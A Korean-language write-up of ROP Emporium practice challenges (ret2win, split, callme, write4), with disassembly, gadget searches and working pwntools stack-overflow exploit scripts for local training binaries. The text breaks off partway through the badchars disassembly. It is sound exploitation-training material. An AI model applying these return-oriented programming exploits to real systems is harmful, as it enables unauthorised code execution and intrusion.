오늘은 ROP Emporium을 풀어 볼 것입니다.

 

익스들이 형편 없고 야매로 작성한 감이 없지 않아 있지만.. ai 없이 직접 작성한 것이니 이해해주기를 바랍니다.


1. ret2win

┌──(kali㉿kali)-[~/Desktop/pwn/ROP/ret2win]
└─$ file ret2win
ret2win: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=19abc0b3bb228157af55b8e16af7316d54ab0597, not stripped

pwndbg> checksec
File:     /home/kali/Desktop/pwn/ROP/ret2win/ret2win
Arch:     amd64
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
Stripped:   No

 

ret2win 문제 바이너리는 64bit ELF 파일이며 카나리, PIE가 꺼져 있습니다.

 

 

먼저 info func 명령어로 함수들을 확인했습니다.

ret2win 함수로 이동하면 되는 것 같습니다.

Dump of assembler code for function main:
   0x0000000000400697 <+0>:	push   rbp
   0x0000000000400698 <+1>:	mov    rbp,rsp
   0x000000000040069b <+4>:	mov    rax,QWORD PTR [rip+0x2009b6]        # 0x601058 <stdout@@GLIBC_2.2.5>
   0x00000000004006a2 <+11>:	mov    ecx,0x0
   0x00000000004006a7 <+16>:	mov    edx,0x2
   0x00000000004006ac <+21>:	mov    esi,0x0
   0x00000000004006b1 <+26>:	mov    rdi,rax
   0x00000000004006b4 <+29>:	call   0x4005a0 <setvbuf@plt>
   0x00000000004006b9 <+34>:	mov    edi,0x400808
   0x00000000004006be <+39>:	call   0x400550 <puts@plt>
   0x00000000004006c3 <+44>:	mov    edi,0x400820
   0x00000000004006c8 <+49>:	call   0x400550 <puts@plt>
   0x00000000004006cd <+54>:	mov    eax,0x0
   0x00000000004006d2 <+59>:	call   0x4006e8 <pwnme>
   0x00000000004006d7 <+64>:	mov    edi,0x400828
   0x00000000004006dc <+69>:	call   0x400550 <puts@plt>
   0x00000000004006e1 <+74>:	mov    eax,0x0
   0x00000000004006e6 <+79>:	pop    rbp
   0x00000000004006e7 <+80>:	ret
End of assembler dump.

pwndbg> x/s 0x400808
0x400808:	"ret2win by ROP Emporium"
pwndbg> x/s 0x400820
0x400820:	"x86_64\n"
pwndbg> x/s 0x400828
0x400828:	"\nExiting"

 

main 함수에서는 문자열을 출력하고 pwnme 함수를 호출합니다.

 

Dump of assembler code for function pwnme:
   0x00000000004006e8 <+0>:	push   rbp
   0x00000000004006e9 <+1>:	mov    rbp,rsp
   0x00000000004006ec <+4>:	sub    rsp,0x20
   0x00000000004006f0 <+8>:	lea    rax,[rbp-0x20]
   0x00000000004006f4 <+12>:	mov    edx,0x20
   0x00000000004006f9 <+17>:	mov    esi,0x0
   0x00000000004006fe <+22>:	mov    rdi,rax
   0x0000000000400701 <+25>:	call   0x400580 <memset@plt>
   0x0000000000400706 <+30>:	mov    edi,0x400838
   0x000000000040070b <+35>:	call   0x400550 <puts@plt>
   0x0000000000400710 <+40>:	mov    edi,0x400898
   0x0000000000400715 <+45>:	call   0x400550 <puts@plt>
   0x000000000040071a <+50>:	mov    edi,0x4008b8
   0x000000000040071f <+55>:	call   0x400550 <puts@plt>
   0x0000000000400724 <+60>:	mov    edi,0x400918
   0x0000000000400729 <+65>:	mov    eax,0x0
   0x000000000040072e <+70>:	call   0x400570 <printf@plt>
   0x0000000000400733 <+75>:	lea    rax,[rbp-0x20]
   0x0000000000400737 <+79>:	mov    edx,0x38
   0x000000000040073c <+84>:	mov    rsi,rax
   0x000000000040073f <+87>:	mov    edi,0x0
   0x0000000000400744 <+92>:	call   0x400590 <read@plt>
   0x0000000000400749 <+97>:	mov    edi,0x40091b
   0x000000000040074e <+102>:	call   0x400550 <puts@plt>
   0x0000000000400753 <+107>:	nop
   0x0000000000400754 <+108>:	leave
   0x0000000000400755 <+109>:	ret
End of assembler dump.

 

pwnme  함수 내에서는 문자열들을 출력한 뒤, read 함수로 값을 입력할 수 있습니다.

문제는 read함수가 입력을 저장하는 위치는 rbp-0x20인데 0x38만큼 읽기에 return address를 덮을 수 있습니다.

 

Dump of assembler code for function ret2win:
   0x0000000000400756 <+0>:	push   rbp
   0x0000000000400757 <+1>:	mov    rbp,rsp
   0x000000000040075a <+4>:	mov    edi,0x400926
   0x000000000040075f <+9>:	call   0x400550 <puts@plt>
   0x0000000000400764 <+14>:	mov    edi,0x400943
   0x0000000000400769 <+19>:	call   0x400560 <system@plt>
   0x000000000040076e <+24>:	nop
   0x000000000040076f <+25>:	pop    rbp
   0x0000000000400770 <+26>:	ret
End of assembler dump.

pwndbg> x/s 0x400943
0x400943:	"/bin/cat flag.txt"

 

ret2win 함수에서는 system 함수를 이용하여 /bin/cat flag.txt 명령어를 실행하는 것을 확인할 수 있습니다.

 

from pwn import *

p = process('./ret2win')

ret2win_F = 0x400756
ret = 0x40053e

payload = b'A' * (0x20 + 8)
payload += p64(ret)
payload += p64(ret2win_F)

p.sendafter(b'> ', payload)

p.interactive()

 

다음과 같이 익스를 작성하였습니다.

버퍼 0x20 바이트, rbp 0x8바이트로 총 40 바이트의 패딩을 넣어 rbp까지 덮고 그 뒤에 ret, ret2win_F을 넣어 주었습니다.

중간에 ret 가젯을 넣은 이유는 스택은 16바이트로 정렬되어야 해서 ret 가젯을 추가했습니다.

 


2. split

┌──(kali㉿kali)-[~/Desktop/pwn/ROP/split]
└─$ file split 
split: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=98755e64e1d0c1bff48fccae1dca9ee9e3c609e2, not stripped
                                                                                                              
┌──(kali㉿kali)-[~/Desktop/pwn/ROP/split]
└─$ checksec split 
[*] '/home/kali/Desktop/pwn/ROP/split/split'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

 

split 문제 바이너리는 64bit ELF 파일이며, canary와 PIE가 꺼져 있습니다.

 

 

이번 문제는 system@plt 함수가 심볼에 존재합니다.

1번 문제와 동일하게 main에서 pwnme 함수를 호출하고 pwnme 함수에서 read를 받는 구조였습니다.

 

pwndbg> disas pwnme
Dump of assembler code for function pwnme:
   0x00000000004006e8 <+0>:	push   rbp
   0x00000000004006e9 <+1>:	mov    rbp,rsp
   0x00000000004006ec <+4>:	sub    rsp,0x20
   0x00000000004006f0 <+8>:	lea    rax,[rbp-0x20]
   0x00000000004006f4 <+12>:	mov    edx,0x20
   0x00000000004006f9 <+17>:	mov    esi,0x0
   0x00000000004006fe <+22>:	mov    rdi,rax
   0x0000000000400701 <+25>:	call   0x400580 <memset@plt>
   0x0000000000400706 <+30>:	mov    edi,0x400810
   0x000000000040070b <+35>:	call   0x400550 <puts@plt>
   0x0000000000400710 <+40>:	mov    edi,0x40083c
   0x0000000000400715 <+45>:	mov    eax,0x0
   0x000000000040071a <+50>:	call   0x400570 <printf@plt>
   0x000000000040071f <+55>:	lea    rax,[rbp-0x20]
   0x0000000000400723 <+59>:	mov    edx,0x60
   0x0000000000400728 <+64>:	mov    rsi,rax
   0x000000000040072b <+67>:	mov    edi,0x0
   0x0000000000400730 <+72>:	call   0x400590 <read@plt>
   0x0000000000400735 <+77>:	mov    edi,0x40083f
   0x000000000040073a <+82>:	call   0x400550 <puts@plt>
   0x000000000040073f <+87>:	nop
   0x0000000000400740 <+88>:	leave
   0x0000000000400741 <+89>:	ret
End of assembler dump.

 

이번에도 read 함수에서 버퍼는 0x20이지만 0x60만큼 입력받기에 bof가 발생할 수 있습니다.

 

Dump of assembler code for function system@plt:
   0x0000000000400560 <+0>:	jmp    QWORD PTR [rip+0x200aba]        # 0x601020 <system@got.plt>
   0x0000000000400566 <+6>:	push   0x1
   0x000000000040056b <+11>:	jmp    0x400540
End of assembler dump.

 

system 함수를 사용하여 ROP를 하면 될 거라고 생각했습니다.

 

pwndbg> info variable
All defined variables:

Non-debugging symbols:
0x00000000004007e0  _IO_stdin_used
0x0000000000400854  __GNU_EH_FRAME_HDR
0x00000000004009dc  __FRAME_END__
0x0000000000600e10  __frame_dummy_init_array_entry
0x0000000000600e10  __init_array_start
0x0000000000600e18  __do_global_dtors_aux_fini_array_entry
0x0000000000600e18  __init_array_end
0x0000000000600e20  _DYNAMIC
0x0000000000601000  _GLOBAL_OFFSET_TABLE_
0x0000000000601050  __data_start
0x0000000000601050  data_start
0x0000000000601058  __dso_handle
0x0000000000601060  usefulString
0x0000000000601072  __bss_start
0x0000000000601072  _edata
0x0000000000601078  __TMC_END__
0x0000000000601078  stdout
0x0000000000601078  stdout@@GLIBC_2.2.5
0x0000000000601080  completed
0x0000000000601088  _end

 

info variable 명령어를 통해 변수들을 확인하니 usefulString이라는 변수가 존재합니다.

 

 

0x601060 주소에 /bin/cat flag.txt 문자열이 저장되어 있습니다.

이걸 사용해서 system 함수에 해당 문자열을 인자로 주면 됩니다.

 

ROPgadget을 통해 ROP를 할 때 필요한 pop rdi 가젯을 구할 수 있습니다.

 

from pwn import *

p = process('./split')

pop_rdi = 0x4007c3
shell = 0x601060
system = 0x400560
ret = 0x40053e

payload = b'A' * (0x20 + 8)
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(shell)
payload += p64(system)

p.sendafter(b'> ', payload)

p.interactive()

 

다음과 같이 익스를 작성했습니다.

이번에도 버퍼 0x20 바이트, rbp 0x8 바이트로 총 40 바이트 패딩을 넣어주고 pop rdi 가젯을 사용하여 "/bin/cat flag.txt" 문자열을 rdi에 저장하고 system 함수를 호출하였습니다.

 


3. callme

┌──(kali㉿kali)-[~/Desktop/pwn/ROP/callme]
└─$ file callme 
callme: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=e8e49880bdcaeb9012c6de5f8002c72d8827ea4c, not stripped
                                                                                                              
┌──(kali㉿kali)-[~/Desktop/pwn/ROP/callme]
└─$ checksec callme
[*] '/home/kali/Desktop/pwn/ROP/callme/callme'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    RUNPATH:    b'.'
    Stripped:   No

 

callme 문제 바이너리는 64bit ELF 파일이며, canary와 PIE가 꺼져 있습니다.

 

 

info func으로 확인해보니 usefulFunction과 usefulGadgets 함수가 존재합니다.

그리고 callme_one, callme_two, callme_three 함수가 존재하며 순서대로 호출하면 되는 것 같습니다.

 

Dump of assembler code for function usefulFunction:
   0x00000000004008f2 <+0>:	push   rbp
   0x00000000004008f3 <+1>:	mov    rbp,rsp
   0x00000000004008f6 <+4>:	mov    edx,0x6
   0x00000000004008fb <+9>:	mov    esi,0x5
   0x0000000000400900 <+14>:	mov    edi,0x4
   0x0000000000400905 <+19>:	call   0x4006f0 <callme_three@plt>
   0x000000000040090a <+24>:	mov    edx,0x6
   0x000000000040090f <+29>:	mov    esi,0x5
   0x0000000000400914 <+34>:	mov    edi,0x4
   0x0000000000400919 <+39>:	call   0x400740 <callme_two@plt>
   0x000000000040091e <+44>:	mov    edx,0x6
   0x0000000000400923 <+49>:	mov    esi,0x5
   0x0000000000400928 <+54>:	mov    edi,0x4
   0x000000000040092d <+59>:	call   0x400720 <callme_one@plt>
   0x0000000000400932 <+64>:	mov    edi,0x1
   0x0000000000400937 <+69>:	call   0x400750 <exit@plt>
End of assembler dump.

Dump of assembler code for function usefulGadgets:
   0x000000000040093c <+0>:	pop    rdi
   0x000000000040093d <+1>:	pop    rsi
   0x000000000040093e <+2>:	pop    rdx
   0x000000000040093f <+3>:	ret
End of assembler dump.

 

usefulFunction 함수는 3개의 인자를 전달하여 callme_three, callme_two, callme_one 함수를 호출하고 있습니다.

usefulGadgets 함수는 pop rdi; pop rsi; pop rdx; ret으로 환상적인 가젯인 것을 볼 수 있습니다.

그러면 usefulGadgets로 인자를 전달하여 3개의 함수를 호출하면 될 것 같습니다.

 

Dump of assembler code for function pwnme:
   0x0000000000400898 <+0>:	push   rbp
   0x0000000000400899 <+1>:	mov    rbp,rsp
   0x000000000040089c <+4>:	sub    rsp,0x20
   0x00000000004008a0 <+8>:	lea    rax,[rbp-0x20]
   0x00000000004008a4 <+12>:	mov    edx,0x20
   0x00000000004008a9 <+17>:	mov    esi,0x0
   0x00000000004008ae <+22>:	mov    rdi,rax
   0x00000000004008b1 <+25>:	call   0x400700 <memset@plt>
   0x00000000004008b6 <+30>:	mov    edi,0x4009f0
   0x00000000004008bb <+35>:	call   0x4006d0 <puts@plt>
   0x00000000004008c0 <+40>:	mov    edi,0x400a13
   0x00000000004008c5 <+45>:	mov    eax,0x0
   0x00000000004008ca <+50>:	call   0x4006e0 <printf@plt>
   0x00000000004008cf <+55>:	lea    rax,[rbp-0x20]
   0x00000000004008d3 <+59>:	mov    edx,0x200
   0x00000000004008d8 <+64>:	mov    rsi,rax
   0x00000000004008db <+67>:	mov    edi,0x0
   0x00000000004008e0 <+72>:	call   0x400710 <read@plt>
   0x00000000004008e5 <+77>:	mov    edi,0x400a16
   0x00000000004008ea <+82>:	call   0x4006d0 <puts@plt>
   0x00000000004008ef <+87>:	nop
   0x00000000004008f0 <+88>:	leave
   0x00000000004008f1 <+89>:	ret
End of assembler dump.

 

pwnme 함수를 보면 read 함수에서 버퍼는 0x20인데 0x200만큼 읽기 때문에 bof가 발생할 수 있습니다.

 

Dump of assembler code for function callme_one:
   0x00007ffff7c0081a <+0>:	push   rbp
   0x00007ffff7c0081b <+1>:	mov    rbp,rsp
   0x00007ffff7c0081e <+4>:	sub    rsp,0x30
   0x00007ffff7c00822 <+8>:	mov    QWORD PTR [rbp-0x18],rdi
   0x00007ffff7c00826 <+12>:	mov    QWORD PTR [rbp-0x20],rsi
   0x00007ffff7c0082a <+16>:	mov    QWORD PTR [rbp-0x28],rdx
   0x00007ffff7c0082e <+20>:	movabs rax,0xdeadbeefdeadbeef
   0x00007ffff7c00838 <+30>:	cmp    QWORD PTR [rbp-0x18],rax
   0x00007ffff7c0083c <+34>:	jne    0x7ffff7c00912 <callme_one+248>
   0x00007ffff7c00842 <+40>:	movabs rax,0xcafebabecafebabe
   0x00007ffff7c0084c <+50>:	cmp    QWORD PTR [rbp-0x20],rax
   0x00007ffff7c00850 <+54>:	jne    0x7ffff7c00912 <callme_one+248>
   0x00007ffff7c00856 <+60>:	movabs rax,0xd00df00dd00df00d
   0x00007ffff7c00860 <+70>:	cmp    QWORD PTR [rbp-0x28],rax
   0x00007ffff7c00864 <+74>:	jne    0x7ffff7c00912 <callme_one+248>
   .
   .
   .
   0x00007ffff7c00912 <+248>:	lea    rdi,[rip+0x301]        # 0x7ffff7c00c1a
   0x00007ffff7c00919 <+255>:	call   0x7ffff7c006c0 <puts@plt>
   0x00007ffff7c0091e <+260>:	mov    edi,0x1
   0x00007ffff7c00923 <+265>:	call   0x7ffff7c00720 <exit@plt>
   0x00007ffff7c00928 <+270>:	nop
   0x00007ffff7c00929 <+271>:	leave
   0x00007ffff7c0092a <+272>:	ret
End of assembler dump.

 

callme_one 함수를 보면 초반에 인자로 받은 rdi, rsi, rdx를 스택에 저장해두고 그 값을 0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d과 비교하며, 다를 시 종료합니다.

callme_two, callme_three도 동일합니다.

 

그러면 아까 usefulGadgets 함수를 사용해서 인자를 지정해서 호출하면 됩니다.

 

from pwn import *

p = process('./callme')

pop_rdi_rsi_rdx = 0x40093c
ret = 0x4006be
callme_one = 0x400726
callme_two = 0x400746
callme_three = 0x4006f6
dead = 0xdeadbeefdeadbeef
cafe = 0xcafebabecafebabe
d00d = 0xd00df00dd00df00d

payload = b'A' * (0x20 + 8)
payload += p64(pop_rdi_rsi_rdx)
payload += p64(dead)
payload += p64(cafe)
payload += p64(d00d)
payload += p64(callme_one)
payload += p64(pop_rdi_rsi_rdx)
payload += p64(dead)
payload += p64(cafe)
payload += p64(d00d)
payload += p64(callme_two)
payload += p64(pop_rdi_rsi_rdx)
payload += p64(dead)
payload += p64(cafe)
payload += p64(d00d)
payload += p64(callme_three)

p.sendafter(b'> ', payload)

p.interactive()

 

다음과 같이 익스를 작성했습니다.

usefulGadgets 함수를 사용하여 rdi, rsi, rdx에 값을 넣은 뒤, callme_n 함수를 호출하는 것을 반복하였습니다.

 


4. write4

┌──(kali㉿kali)-[~/Desktop/pwn/ROP/write4]
└─$ file write4
write4: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=4cbaee0791e9daa7dcc909399291b57ffaf4ecbe, not stripped
                                                                                                              
┌──(kali㉿kali)-[~/Desktop/pwn/ROP/write4]
└─$ checksec write4
[*] '/home/kali/Desktop/pwn/ROP/write4/write4'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    RUNPATH:    b'.'
    Stripped:   No

 

write4 문제 바이너리는 64bit ELF 파일이며, canary와 PIE가 꺼져 있습니다.

 

 

이번에도 usefulFunction 함수와 usefulGadgets 함수, print_file 함수가 존재합니다.

 

Dump of assembler code for function pwnme:
   0x00007ffff7c008aa <+0>:	push   rbp
   0x00007ffff7c008ab <+1>:	mov    rbp,rsp
   0x00007ffff7c008ae <+4>:	sub    rsp,0x20
   0x00007ffff7c008b2 <+8>:	mov    rax,QWORD PTR [rip+0x200727]        # 0x7ffff7e00fe0
   0x00007ffff7c008b9 <+15>:	mov    rax,QWORD PTR [rax]
   0x00007ffff7c008bc <+18>:	mov    ecx,0x0
   0x00007ffff7c008c1 <+23>:	mov    edx,0x2
   0x00007ffff7c008c6 <+28>:	mov    esi,0x0
   0x00007ffff7c008cb <+33>:	mov    rdi,rax
   0x00007ffff7c008ce <+36>:	call   0x7ffff7c00790 <setvbuf@plt>
   0x00007ffff7c008d3 <+41>:	lea    rdi,[rip+0x106]        # 0x7ffff7c009e0
   0x00007ffff7c008da <+48>:	call   0x7ffff7c00730 <puts@plt>
   0x00007ffff7c008df <+53>:	lea    rdi,[rip+0x111]        # 0x7ffff7c009f7
   0x00007ffff7c008e6 <+60>:	call   0x7ffff7c00730 <puts@plt>
   0x00007ffff7c008eb <+65>:	lea    rax,[rbp-0x20]
   0x00007ffff7c008ef <+69>:	mov    edx,0x20
   0x00007ffff7c008f4 <+74>:	mov    esi,0x0
   0x00007ffff7c008f9 <+79>:	mov    rdi,rax
   0x00007ffff7c008fc <+82>:	call   0x7ffff7c00760 <memset@plt>
   0x00007ffff7c00901 <+87>:	lea    rdi,[rip+0xf8]        # 0x7ffff7c00a00
   0x00007ffff7c00908 <+94>:	call   0x7ffff7c00730 <puts@plt>
   0x00007ffff7c0090d <+99>:	lea    rdi,[rip+0x115]        # 0x7ffff7c00a29
   0x00007ffff7c00914 <+106>:	mov    eax,0x0
   0x00007ffff7c00919 <+111>:	call   0x7ffff7c00750 <printf@plt>
   0x00007ffff7c0091e <+116>:	lea    rax,[rbp-0x20]
   0x00007ffff7c00922 <+120>:	mov    edx,0x200
   0x00007ffff7c00927 <+125>:	mov    rsi,rax
   0x00007ffff7c0092a <+128>:	mov    edi,0x0
   0x00007ffff7c0092f <+133>:	call   0x7ffff7c00770 <read@plt>
   0x00007ffff7c00934 <+138>:	lea    rdi,[rip+0xf1]        # 0x7ffff7c00a2c
   0x00007ffff7c0093b <+145>:	call   0x7ffff7c00730 <puts@plt>
   0x00007ffff7c00940 <+150>:	nop
   0x00007ffff7c00941 <+151>:	leave
   0x00007ffff7c00942 <+152>:	ret
End of assembler dump.

 

pwnme 함수에서는 이전 문제와 동일하게 read 함수에서 버퍼는 0x20인데 0x200만큼 읽어 bof가 발생할 수 있습니다.

 

Dump of assembler code for function usefulFunction:
   0x0000000000400617 <+0>:	push   rbp
   0x0000000000400618 <+1>:	mov    rbp,rsp
   0x000000000040061b <+4>:	mov    edi,0x4006b4
   0x0000000000400620 <+9>:	call   0x400510 <print_file@plt>
   0x0000000000400625 <+14>:	nop
   0x0000000000400626 <+15>:	pop    rbp
   0x0000000000400627 <+16>:	ret
End of assembler dump.

pwndbg> disas usefulGadgets 
Dump of assembler code for function usefulGadgets:
   0x0000000000400628 <+0>:	mov    QWORD PTR [r14],r15
   0x000000000040062b <+3>:	ret
   0x000000000040062c <+4>:	nop    DWORD PTR [rax+0x0]
End of assembler dump.

 

usefulFunction 함수에서는 print_file을 호출합니다.

usefulGadgets 함수는 r14가 가리키는 메모리에 r15 값을 저장합니다.

 

Dump of assembler code for function print_file:
   0x00007ffff7c00943 <+0>:	push   rbp
   0x00007ffff7c00944 <+1>:	mov    rbp,rsp
   0x00007ffff7c00947 <+4>:	sub    rsp,0x40
   0x00007ffff7c0094b <+8>:	mov    QWORD PTR [rbp-0x38],rdi
   0x00007ffff7c0094f <+12>:	mov    QWORD PTR [rbp-0x8],0x0
   0x00007ffff7c00957 <+20>:	mov    rax,QWORD PTR [rbp-0x38]
   0x00007ffff7c0095b <+24>:	lea    rsi,[rip+0xd5]        # 0x7ffff7c00a37
   0x00007ffff7c00962 <+31>:	mov    rdi,rax
   0x00007ffff7c00965 <+34>:	call   0x7ffff7c007a0 <fopen@plt>
   0x00007ffff7c0096a <+39>:	mov    QWORD PTR [rbp-0x8],rax
   0x00007ffff7c0096e <+43>:	cmp    QWORD PTR [rbp-0x8],0x0
   0x00007ffff7c00973 <+48>:	jne    0x7ffff7c00997 <print_file+84>
   0x00007ffff7c00975 <+50>:	mov    rax,QWORD PTR [rbp-0x38]
   0x00007ffff7c00979 <+54>:	mov    rsi,rax
   0x00007ffff7c0097c <+57>:	lea    rdi,[rip+0xb6]        # 0x7ffff7c00a39
   0x00007ffff7c00983 <+64>:	mov    eax,0x0
   0x00007ffff7c00988 <+69>:	call   0x7ffff7c00750 <printf@plt>
   0x00007ffff7c0098d <+74>:	mov    edi,0x1
   0x00007ffff7c00992 <+79>:	call   0x7ffff7c007b0 <exit@plt>
   0x00007ffff7c00997 <+84>:	mov    rdx,QWORD PTR [rbp-0x8]
   0x00007ffff7c0099b <+88>:	lea    rax,[rbp-0x30]
   0x00007ffff7c0099f <+92>:	mov    esi,0x21
   0x00007ffff7c009a4 <+97>:	mov    rdi,rax
   0x00007ffff7c009a7 <+100>:	call   0x7ffff7c00780 <fgets@plt>
   0x00007ffff7c009ac <+105>:	lea    rax,[rbp-0x30]
   0x00007ffff7c009b0 <+109>:	mov    rdi,rax
   0x00007ffff7c009b3 <+112>:	call   0x7ffff7c00730 <puts@plt>
   0x00007ffff7c009b8 <+117>:	mov    rax,QWORD PTR [rbp-0x8]
   0x00007ffff7c009bc <+121>:	mov    rdi,rax
   0x00007ffff7c009bf <+124>:	call   0x7ffff7c00740 <fclose@plt>
   0x00007ffff7c009c4 <+129>:	mov    QWORD PTR [rbp-0x8],0x0
   0x00007ffff7c009cc <+137>:	nop
   0x00007ffff7c009cd <+138>:	leave
   0x00007ffff7c009ce <+139>:	ret
End of assembler dump.

 

print_file 함수를 보면 rdi를 스택에 저장하고 해당 값을 fopen 함수로 열고 파일의 내용을 읽어주는 것을 볼 수 있습니다.

그러면 flag.txt를 인자로 주면 될 것 같습니다.

메모리에 쓸 수 있는 가젯이 있으니 flag.txt를 쓸 수 있는 영역에 넣어두고 pop rdi 가젯을 구해 메모리를 주어 읽게 하면 될 것 같습니다.

 

┌──(kali㉿kali)-[~/Desktop/pwn/ROP/write4]
└─$ ROPgadget --binary ./write4  | grep 'pop rdi'
0x0000000000400693 : pop rdi ; ret
                                                                                                              
┌──(kali㉿kali)-[~/Desktop/pwn/ROP/write4]
└─$ ROPgadget --binary ./write4  | grep 'pop r14'
0x000000000040068c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040068e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400690 : pop r14 ; pop r15 ; ret
0x000000000040068b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040068f : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040068d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret

 

ROPgadget을 통해 가젯들을 구해주었습니다.

 

 

vmmap으로 확인해보니 bss 영역에 쓰면 될 것 같습니다.

 

from pwn import *

p = process('./write4')

pop_rdi = 0x400693
ret = 0x4004e6
print_file = 0x400510
use_gadget = 0x400628
use_func = 0x400617
bss = 0x601200
pop_r14_r15 = 0x400690

payload = b'A' * (0x20 + 8)
payload += p64(pop_r14_r15)
payload += p64(bss)
payload += b'flag.txt'
payload += p64(use_gadget)
payload += p64(pop_rdi)
payload += p64(bss)
payload += p64(print_file)

p.sendafter(b'> ', payload)

p.interactive()

 

다음과 같이 익스를 작성했습니다.

40바이트 패딩으로 rbp까지 덮고 usefulGadgets 함수를 통해 0x601200에 "flag.txt"를 저장합니다. 

그 후 pop rdi 가젯으로 0x601200을 전달하여 print_file 함수를 호출합니다.

 


5. badchars

┌──(kali㉿kali)-[~/Desktop/pwn/ROP/badchars]
└─$ file badchars 
badchars: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=6c79e265b17cf6845beca7e17d6d8ac2ecb27556, not stripped
                                                                                                              
┌──(kali㉿kali)-[~/Desktop/pwn/ROP/badchars]
└─$ checksec badchars
[*] '/home/kali/Desktop/pwn/ROP/badchars/badchars'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    RUNPATH:    b'.'
    Stripped:   No

 

badchars 문제 바이너리는 64bit ELF 파일이며, canary와 PIE가 꺼져 있습니다.

 

 

해당 바이너리를 실행해보면 badchars로 x, g, a, .를 출력합니다.

 

info func을 확인해보면 print_file이 존재하고, usefulFunction, usefulGadgets 함수가 존재합니다.

 

Dump of assembler code for function pwnme:
   0x00007ffff7c008fa <+0>:	push   rbp
   0x00007ffff7c008fb <+1>:	mov    rbp,rsp
   0x00007ffff7c008fe <+4>:	sub    rsp,0x40
   0x00007ffff7c00902 <+8>:	mov    rax,QWORD PTR [rip+0x2006cf]        # 0x7ffff7e00fd8
   0x00007ffff7c00909 <+15>:	mov    rax,QWORD PTR [rax]
   0x00007ffff7c0090c <+18>:	mov    ecx,0x0
   0x00007ffff7c00911 <+23>:	mov    edx,0x2
   0x00007ffff7c00916 <+28>:	mov    esi,0x0
   0x00007ffff7c0091b <+33>:	mov    rdi,rax
   0x00007ffff7c0091e <+36>:	call   0x7ffff7c007e0 <setvbuf@plt>
   0x00007ffff7c00923 <+41>:	lea    rdi,[rip+0x17a]        # 0x7ffff7c00aa4
   0x00007ffff7c0092a <+48>:	call   0x7ffff7c00780 <puts@plt>
   0x00007ffff7c0092f <+53>:	lea    rdi,[rip+0x187]        # 0x7ffff7c00abd
   0x00007ffff7c00936 <+60>:	call   0x7ffff7c00780 <puts@plt>
   0x00007ffff7c0093b <+65>:	lea    rax,[rbp-0x40]
   0x00007ffff7c0093f <+69>:	add    rax,0x20
   0x00007ffff7c00943 <+73>:	mov    edx,0x20
   0x00007ffff7c00948 <+78>:	mov    esi,0x0
   0x00007ffff7c0094d <+83>:	mov    rdi,rax
   0x00007ffff7c00950 <+86>:	call   0x7ffff7c007b0 <memset@plt>
   0x00007ffff7c00955 <+91>:	lea    rdi,[rip+0x16c]        # 0x7ffff7c00ac8
   0x00007ffff7c0095c <+98>:	call   0x7ffff7c00780 <puts@plt>
   0x00007ffff7c00961 <+103>:	lea    rdi,[rip+0x181]        # 0x7ffff7c00ae9
   0x00007ffff7c00968 <+110>:	mov    eax,0x0
   0x00007ffff7c0096d <+115>:	call   0x7ffff7c007a0 <printf@plt>
   0x00007ffff7c00972 <+120>:	lea    rax,[rbp-0x40]
   0x00007ffff7c00976 <+124>:	add    rax,0x20
   0x00007ffff7c0097a <+128>:	mov    edx,0x200
   0x00007ffff7c0097f <+133>:	mov    rsi,rax
   0x00007ffff7c00982 <+136>:	mov    edi,0x0
   0x00007ffff7c00987 <+141>:	call   0x7ffff7c007c0 <read@plt>
   0x00007ffff7c0098c <+146>:	mov    QWORD PTR [rbp-0x40],rax
   0x00007ffff7c00990 <+150>:	mov    QWORD PTR [rbp-0x38],0x0
   0x00007ffff7c00998 <+158>:	jmp    0x7ffff7c009eb <pwnme+241>
   0x00007ffff7c0099a <+160>:	mov    QWORD PTR [rbp-0x30],0x0
   0x00007ffff7c009a2 <+168>:	jmp    0x7ffff7c009d5 <pwnme+219>
   0x00007ffff7c009a4 <+170>:	mov    rax,QWORD PTR [rbp-0x38]
   0x00007ffff7c009a8 <+174>:	movzx  ecx,BYTE PTR [rbp+rax*1-0x20]
   0x00007ffff7c009ad <+179>:	mov    rax,QWORD PTR [rbp-0x30]
   0x00007ffff7c009b1 <+183>:	mov    rdx,QWORD PTR [rip+0x200628]        # 0x7ffff7e00fe0
   0x00007ffff7c009b8 <+190>:	movzx  eax,BYTE PTR [rdx+rax*1]
   0x00007ffff7c009bc <+194>:	cmp    cl,al
   0x00007ffff7c009be <+196>:	jne    0x7ffff7c009c9 <pwnme+207>
   0x00007ffff7c009c0 <+198>:	mov    rax,QWORD PTR [rbp-0x38]
   0x00007ffff7c009c4 <+202>:	mov    BYTE PTR [rbp+rax*1-0x20],0xeb
   0x00007ffff7c009c9 <+207>:	mov    rax,QWORD PTR [rbp-0x30]
   0x00007ffff7c009cd <+211>:	add    rax,0x1
   0x00007ffff7c009d1 <+215>:	mov    QWORD PTR [rbp-0x30],rax
